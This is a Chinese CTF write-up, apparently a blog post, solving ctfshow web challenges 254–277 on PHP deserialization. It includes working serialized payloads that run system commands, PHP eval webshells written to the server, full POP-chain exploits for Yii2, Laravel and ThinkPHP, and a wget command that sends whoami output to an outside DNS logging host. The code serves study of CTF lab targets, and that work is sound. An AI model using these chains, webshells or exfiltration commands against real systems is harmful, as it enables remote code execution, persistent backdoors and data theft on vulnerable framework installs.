https://blog.csdn.net/miuzzx/article/details/110558192 https://blog.csdn.net/rfrder/article/details/113808539

web 254-代码审计

考察简单的代码审计
GET /?username=xxxxxx&password=xxxxx

  1. class ctfShowUser{
  2. public $username='xxxxxx';
  3. public $password='xxxxxx';
  4. public $isVip=false;
  5. public function checkVip(){
  6. return $this->isVip;
  7. }
  8. public function login($u,$p){
  9. if($this->username===$u&&$this->password===$p){
  10. $this->isVip=true;
  11. }
  12. return $this->isVip;
  13. }
  14. public function vipOneKeyGetFlag(){
  15. if($this->isVip){
  16. global $flag;
  17. echo "your flag is ".$flag;
  18. }else{
  19. echo "no vip, no flag";
  20. }
  21. }
  22. }
  23. $username=$_GET['username'];
  24. $password=$_GET['password'];
  25. if(isset($username) && isset($password)){
  26. $user = new ctfShowUser();
  27. if($user->login($username,$password)){
  28. if($user->checkVip()){
  29. $user->vipOneKeyGetFlag();
  30. }
  31. }else{
  32. echo "no vip,no flag";
  33. }
  34. }

web 255-cookie传值

  1. error_reporting(0);
  2. highlight_file(__FILE__);
  3. include('flag.php');
  4. class ctfShowUser{
  5. public $username='xxxxxx';
  6. public $password='xxxxxx';
  7. public $isVip=false;
  8. public function checkVip(){
  9. return $this->isVip;
  10. }
  11. public function login($u,$p){
  12. return $this->username===$u&&$this->password===$p;
  13. }
  14. public function vipOneKeyGetFlag(){
  15. if($this->isVip){
  16. global $flag;
  17. echo "your flag is ".$flag;
  18. }else{
  19. echo "no vip, no flag";
  20. }
  21. }
  22. }
  23. # 通过与web 254相比,可知本题也应该用get方式传递参数username和password
  24. $username=$_GET['username'];
  25. $password=$_GET['password'];
  26. if(isset($username) && isset($password)){
  27. # 用cookie方式传参user且值反序列化之后应该是ctfShowUser的实例化对象
  28. $user = unserialize($_COOKIE['user']);
  29. if($user->login($username,$password)){
  30. # 需要isVip=true,但checkVip()中并没有给isVip赋值true,应在反序列化中赋值
  31. if($user->checkVip()){
  32. $user->vipOneKeyGetFlag();
  33. }
  34. }else{
  35. echo "no vip,no flag";
  36. }
  37. }

解题

  1. class ctfShowUser{
  2. public $isVip=true;
  3. }
  4. $a = ctfShowUser();
  5. echo serialize($a)

分号需要url编码
image.png

web 256-修改初始值

题目

  1. public function vipOneKeyGetFlag(){
  2. if($this->isVip){
  3. global $flag;
  4. # 要求username 不等于 password
  5. if($this->username!==$this->password){
  6. echo "your flag is ".$flag;
  7. }
  8. }else{
  9. echo "no vip, no flag";
  10. }

要求username 不等于 password,应在序列化示例对象时修改username的初始化值

  1. <?php
  2. class ctfShowUser{
  3. public $isVip=true;
  4. public $username='uuu';
  5. }
  6. $a = new ctfShowUser();
  7. echo serialize($a);

image.png

web 257-修改调用方法

  1. error_reporting(0);
  2. highlight_file(__FILE__);
  3. class ctfShowUser{
  4. private $username='xxxxxx';
  5. private $password='xxxxxx';
  6. private $isVip=false;
  7. # 定义时改为$class = 'backDoor'
  8. private $class = 'info';
  9. # new实例化类的时候调用
  10. public function __construct(){
  11. $this->class=new info(); # 改为new backDoor()
  12. }
  13. public function login($u,$p){
  14. return $this->username===$u&&$this->password===$p;
  15. }
  16. # 类对象使用完毕时调用
  17. public function __destruct(){
  18. # 调用本类中class参数指代类的getInfo()方法
  19. # 由于想调用backDoor类的getInfo(),所以考虑在定义时$class = 'backDoor';
  20. $this->class->getInfo();
  21. }
  22. }
  23. # 两个类 都存在getInfo方法,可看出backDoor类更加危险,提供了命令执行的接口
  24. # 考虑舍弃info类,使用backDoor类代替
  25. class info{
  26. private $user='xxxxxx';
  27. public function getInfo(){
  28. return $this->user;
  29. }
  30. }
  31. class backDoor{
  32. private $code;
  33. public function getInfo(){
  34. eval($this->code); # 找到危险函数eval,考虑利用
  35. }
  36. }
  37. $username=$_GET['username'];
  38. $password=$_GET['password'];
  39. if(isset($username) && isset($password)){
  40. $user = unserialize($_COOKIE['user']);
  41. $user->login($username,$password);
  42. }

由于涉及到类方法的相互调用,private只允许调用本类的方法,应该为public

  1. <?php
  2. class ctfShowUser{
  3. public $class = 'backDoor';
  4. public function __construct(){
  5. $this->class=new backDoor();
  6. }
  7. }
  8. class backDoor{
  9. public $code='system("cat f*");';
  10. }
  11. $a = new ctfShowUser();
  12. echo serialize($a);
  13. # O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:17:"system("cat f*");";}}

image.png

web 258-正则表达式绕过

在web 257的基础之上,对于user的值做了正则表达式限制
[oc]: -> 以o:或者c:开头
\d+ -> 匹配一个或多个[0-9]的数字
/i -> 不区分大小写

  1. if(isset($username) && isset($password)){
  2. if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
  3. $user = unserialize($_COOKIE['user']);
  4. }
  5. $user->login($username,$password);
  6. }

由于对【O:数字】进行了限制,可通过O:和数字之间增加+(加号)绕过

  1. <?php
  2. class ctfShowUser{
  3. public $class = 'backDoor';
  4. public function __construct(){
  5. $this->class=new backDoor();
  6. }
  7. }
  8. class backDoor{
  9. public $code='system("cat f*");';
  10. }
  11. $a = new ctfShowUser();
  12. echo serialize($a);
  13. # O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:17:"system("cat f*");";}}
  14. # 由于对O:数字进行了限制,可通过O:和数字之间增加+(加号)绕过
  15. # O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:17:"system("cat f*");";}}
  16. ?>

web 259

web 260-设定参数值

要求传入的参数中包含ctfshow_i_love_36D
payload

  1. <?php
  2. $a = 'ctfshow_i_love_36D';
  3. echo serialize($a);

image.png
直接传值也可以,ctfshow=ctfshow_i_love_36D
image.png
对一个参数进行序列化结果
image.png

web 261-魔法函数、弱类型比较

  1. <?php
  2. highlight_file(__FILE__);
  3. class ctfshowvip{
  4. public $username;
  5. public $password;
  6. public $code;
  7. # 实例化对象时调用
  8. public function __construct($u,$p){
  9. $this->username=$u;
  10. $this->password=$p;
  11. }
  12. # unserialize时调用,对象属性个数大于实际情况时跳过
  13. public function __wakeup(){
  14. if($this->username!='' || $this->password!=''){
  15. die('error');
  16. }
  17. }
  18. # 尝试把对象当方法调用时自动调用
  19. public function __invoke(){
  20. eval($this->code);
  21. }
  22. # serialize时调用
  23. public function __sleep(){
  24. $this->username='';
  25. $this->password='';
  26. }
  27. public function __unserialize($data){
  28. $this->username=$data['username'];
  29. $this->password=$data['password'];
  30. # 通过username和password拼接的结果==877即可
  31. # 由于code==0x36d是弱类型比较,username=877.php password=shell
  32. $this->code = $this->username.$this->password;
  33. }
  34. # 类对象使用结束时调用
  35. public function __destruct(){
  36. if($this->code==0x36d){
  37. # 将password的值shell脚本内容写入,username的值877.php中
  38. file_put_contents($this->username, $this->password); # 找到危险函数
  39. }
  40. }
  41. }
  42. unserialize($_GET['vip']);
__construct()构造函数 实例化类时自动调用 new
__destruct()析构函数 类对象使用结束时自动调用
__sleep()包含该方法内的任意函数 使用 serialize 序列化时自动调用
__wakeup()包含该方法内的任意函数 使用 unserialize 反序列化时自动调用;当对象属性个数大于实际个数时,会跳过__wakeup的执行
__invoke() 当尝试把对象当方法调用时自动调用

1、在7.4以上版本,类中同时定义了unserialize()和wakeup(),则跳过__wakeup()
2、锁定file_put_contents危险函数,用于写入文件
3、需要满足code==0x36d弱类型比较,0x36十六进制数转十进制是877
要通过构造username=877.php,password=shell,使得满足2、3的条件
php弱类型学习可参考博客 php 弱类型总结

payload

<?php

class ctfshowvip{
    public $username='877.php';
    public $password='<?php phpinfo();?>';

    public function __invoke(){
        eval($this->code);
    }

}
$a=new ctfshowvip();
echo serialize($a);

传参
?vip=O:10:”ctfshowvip”:2:{s:8:”username”;s:7:”877.php”;s:8:”password”;s:18:”<?php phpinfo();?>”;}
成功写入文件
image.png
将内容改为一句话木马<?php @eval($_POST[1]);?>,执行命令报错
image.png
在网上查到了解决方法eval()改为eval(“内容;”)即可,原理不知道待解决
最终payload

<?php

class ctfshowvip{
    public $username='877.php';
    public $password='<?php @eval("$_POST[1];");?>';

    public function __invoke(){
        eval($this->code);
    }

}
$a=new ctfshowvip();
echo serialize($a);

web 262-反序列化字符逃逸

首先学习一下别人的总结,了解什么是反序列化逃逸
PHP反序列化字符逃逸详解
稍微补充一下,由于 } 作为结束符,所以”;s:4:”pass”;s:6:”123456”;}部分在反序列化中被省略
image.png
看会原题

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

这部分看出反序列化字符逃逸,(题型特征)

$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));  
$msg = unserialize(base64_decode($_COOKIE['msg'])); # 反序列化后实现字符串逃逸

并没有flag的相关信息,但注意到注释部分提供了一个页面message.php

highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

方法一

1、token==admin
2、程序中自动将msg写入message.php的cookie
3、考虑反序列化字符逃逸的思想,构造msg的内容
分析:
因为字符串fuck会替换成loveU,长度由4变为5位,目标是通过反序列化字符逃逸将原本的”;s:5:”token”;s:4:”user”;}替换成”;s:5:”token”;s:4:”admin”;},而”;s:5:”token”;s:4:”admin”;}这段长度是27,所以需要构造27*fuck”;s:5:”token”;s:4:”admin”;},从而把原来的token赋值部分顶出去
payload

<?php

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = 1;
$m = 2;
$t = '3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    echo serialize($msg);
    echo("\n");
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    echo $umsg;
    echo("\n");

}

第一步在index.php页面发送msg
?f=1&m=2&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:”token”;s:5:”admin”;}
image.png
第二步访问message.php页面
image.png

方法二

根据message.php的代码,其实很简单,只要定义token=’admin’就行
image.png
image.png

web 263-session反序列化

关于session反序列化的问题参考
深入浅析PHP的session反序列化漏洞问题
通过后台目录扫描,找到www.zip压缩包,关键文件index.php\check.php\inc.php
inc.php
找到关键信息,判断是session反序列化,这里把session的session.serialize_handler设置为php,默认的php.ini应该不是php。如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确的反序列化,造成漏洞利用。

ini_set(‘session.serialize_handler’, ‘php’);

找到危险函数,file_put_contents,可在此写入木马

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

然后查找如何控制session
在index.php中找到可通过给cookie给session传值,从而实现session控制

    session_start();
    //超过5次禁止登陆
    if(isset($_SESSION['limit'])){
        # 注意登录错误不能大于5次
        $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
    }else{
         setcookie("limit",base64_encode('1'));
         $_SESSION['limit']= 1;
    }

payload
写入的码尝试了
<?php eval($_POST[1]);?> 能上传成功但不能利用,需要在后面加入phpinfo();原理不清楚

<?php

class User{
    public $username;
    public $password;
    function __construct(){
        $this->username = "2.php";
        $this->password = '<?php eval("$_POST[1];");phpinfo();?>';
    }
}

echo base64_encode("|".serialize(new User()));

修改limit的cookie值再刷新一遍
image.png
访问check.php文件,该文件包含inc.php,执行写入文件程序,写入log-1.php木马文件

require_once ‘inc/inc.php’;

image.png

web 264-反序列化字符逃逸

在web262的基础上将cookie传参改成了session传参
index.php
$umsg = str_replace(‘fuck’, ‘loveU’, serialize($msg));
$_SESSION[‘msg’]=base64_encode($umsg);
message.php
if(isset($_COOKIE[‘msg’])){
$msg = unserialize(base64_decode($_SESSION[‘msg’]));
if($msg->token==’admin’){
echo $flag;
}
解题方法同web 262 方法一
但是由于message.php中做了cookie值存在与否的判断if(isset($_COOKIE[‘msg’]))
需要给cookie新增一个msg并随便赋一个值
image.png

web 265-按地址传参

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
# token为一个随机数
$ctfshow->token=md5(mt_rand()); 

# 如果password = token则输出flag
if($ctfshow->login()){
    echo $flag;
}

PHP在参数名前加上&符号,表示传递的内容为地址,本例中如果$a或者$b的任一个值改变,另一个也会改变
image.png
payload

class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct(){
        $this->password = &$this->token;
    }
}

$a = new ctfshowAdmin();
echo serialize($a);

?ctfshow=O:12:”ctfshowAdmin”:2:{s:5:”token”;N;s:8:”password”;R:2;}

web 266-伪协议、正则绕过

题目

include('flag.php');
# 通过php://input伪协议输入信息
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    # 执行析构函数就可以输出flag,类对象结束使用时自动调用
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
# 做了字符串限制,由于php不区分大小写,可以考虑大小写绕过
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

payload

<?php

class ctfshow{
}

echo serialize(new ctfshow());

image.png

web 267-yii框架反序列化漏洞

查看源码,发现引用了yii,点开看是2.0版本,考点是yii2反序列化漏洞,学习可看这篇文章
image.pngimage.png
在login发现登录页面,使用弱口令admin/admin可登录
在about页面查看源代码有提示
image.png
访问发现后面
?r=site%2Fabout&view-source
image.png
可通过以下入口攻击
?r=/backdoor/shell&code=poc
然后在网上找poc,有四个反序列化链
POC1

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';   //passthru
            $this->id = '1';  //cat /flag
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

POC2

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

POC3

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){

            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

POC4

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('phpinfo', '1');
    echo(base64_encode(serialize($exp)));
}

方法一-直接回显

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /flag';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

image.png

方法二-dns带外

借助dnslog.cn,log.咕.com验证该漏洞是否可以外带数据

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'wget `whoami`.6ac9ed0e.dns.1433.eu.org.';
            //$this->id = 'wget `pwd|base64`.6ac9ed0e.dns.1433.eu.org.';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

?>

命令执行结果可返回,命令改为pwd时无显示,可能过滤了某些字符,可以加上base64编码,得到web路径/var/www/html/basic/web
同理可以查看当前目录下的文件ls|base64
assets
css
index.html
index.php
image.png
但尝试之后发现只能执行单命令,因此无法查看flag

方法三-写入木马文件

虽然dns外带没有把最终的flag输出出来,但是我们知道了网站路径,考虑直接写入一个木马脚本,注意$符号需要转义

        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php";
        }

image.png

web 268-yii框架反序列化漏洞

方法同web267 的方法三(passthru回显也限制了),需要使用POC2

web 269-yii框架反序列化漏洞

方法同web267 的方法三,需要使用POC3

web 270-yii框架反序列化漏洞

方法同web267 的方法三,需要使用POC4

web 271-laravel5.7反序列化漏洞

题目

<?php

/** 
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel   
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

题目已写明是Laravel框架,找POC即可
用的羽师傅的脚本,命令执行的时候过滤了空格,使用 < 替换 空格

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('tac</flag'));

    echo urlencode(serialize($pendingcommand));
}

web 272、273-laravel5.8反序列化漏洞

网上找的POC但都没有实现

<?php
/*
Author:monitor
description:
    laravel deserialization chain
*/
namespace Illuminate\Broadcasting
{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events,$event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus
{
    class Dispatcher{
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}

namespace Mockery\Loader
{
    class EvalLoader{

    }
}

namespace Mockery\Generator
{
    class MockDefinition{
        protected $config;
        protected $code;
        public function __construct($config,$code){
            $this->config = $config;
            $this->code = $code;
        }
    }
    class MockConfiguration{
        protected $name;
        public function __construct($name)
        {
            $this->name = $name;
        }
    }
}

namespace Illuminate\Queue
{
    class CallQueuedClosure{
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}

namespace
{   

    $mockconfiguration = new Mockery\Generator\MockConfiguration("pass");
    $mockdefination = new Mockery\Generator\MockDefinition($mockconfiguration,"<?php phpinfo();exit();?>");
    $callqueuedclosure = new Illuminate\Queue\CallQueuedClosure($mockdefination);
    $evaload = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evaload,"load"));
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$callqueuedclosure);
    echo urlencode(serialize($pendingbroadcast));
}
<?php
namespace Illuminate\Broadcasting{

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{

    use Mockery\Generator\MockDefinition;

    class QueuedCommand
    {
        public $connection;
        public function __construct(){
            $this->connection=new MockDefinition();
        }
    }
}
namespace Illuminate\Bus{

    use Mockery\Loader\EvalLoader;

    class Dispatcher
    {
        protected $queueResolver;
        public function __construct(){
            $this->queueResolver=[new EvalLoader(),'load'];
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader
    {

    }
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;
        public function __construct()
        {
            $this->code="<?php file_put_contents('/app/public/1.php', '<?php eval(\$_POST[1]);?>');";  # 写入文件
            //此处是PHP代码 <?php setcookie('pwd', shell_exec('pwd'));  写入cookie,带出数据
            $this->config=new MockConfiguration();
        }
    }
    class MockConfiguration
    {
        protected $name="feng";
    }
}

namespace{

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

报错,无法回显,没有写入cookie,也没有写入文件,待解决
image.png
image.png

web 274-thinkphp5.1的反序列化漏洞

根据网页考虑thinkphp5.1框架漏洞
image.png
查看源代码,找到传参接口
image.png
网上找的POC

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system"; //PHP函数
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin']; //PHP函数的参数
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

image.png

web 275-代码审计

题目

<?php

highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        # 需要evilfile=true
        if($this->evilfile){
            # 命令执行内容可控 可构造 rm 1.txt;cat flag
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    # 实例化类对象结束后 可以触发__destruct()中的system,导致命令执行
    $f = new filter($_GET['fn'],$content);
    # 后面的内容可忽略
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }

}else{
    echo 'where is flag?';
}

需要evilfile=true,至少满足filename包含php,或者filecontent包含flag
image.png

web 276

web 277-python反序列化

查看源代码发现以下内容,pickle是python3 的序列化和反序列化包,所以考点是python的反序列化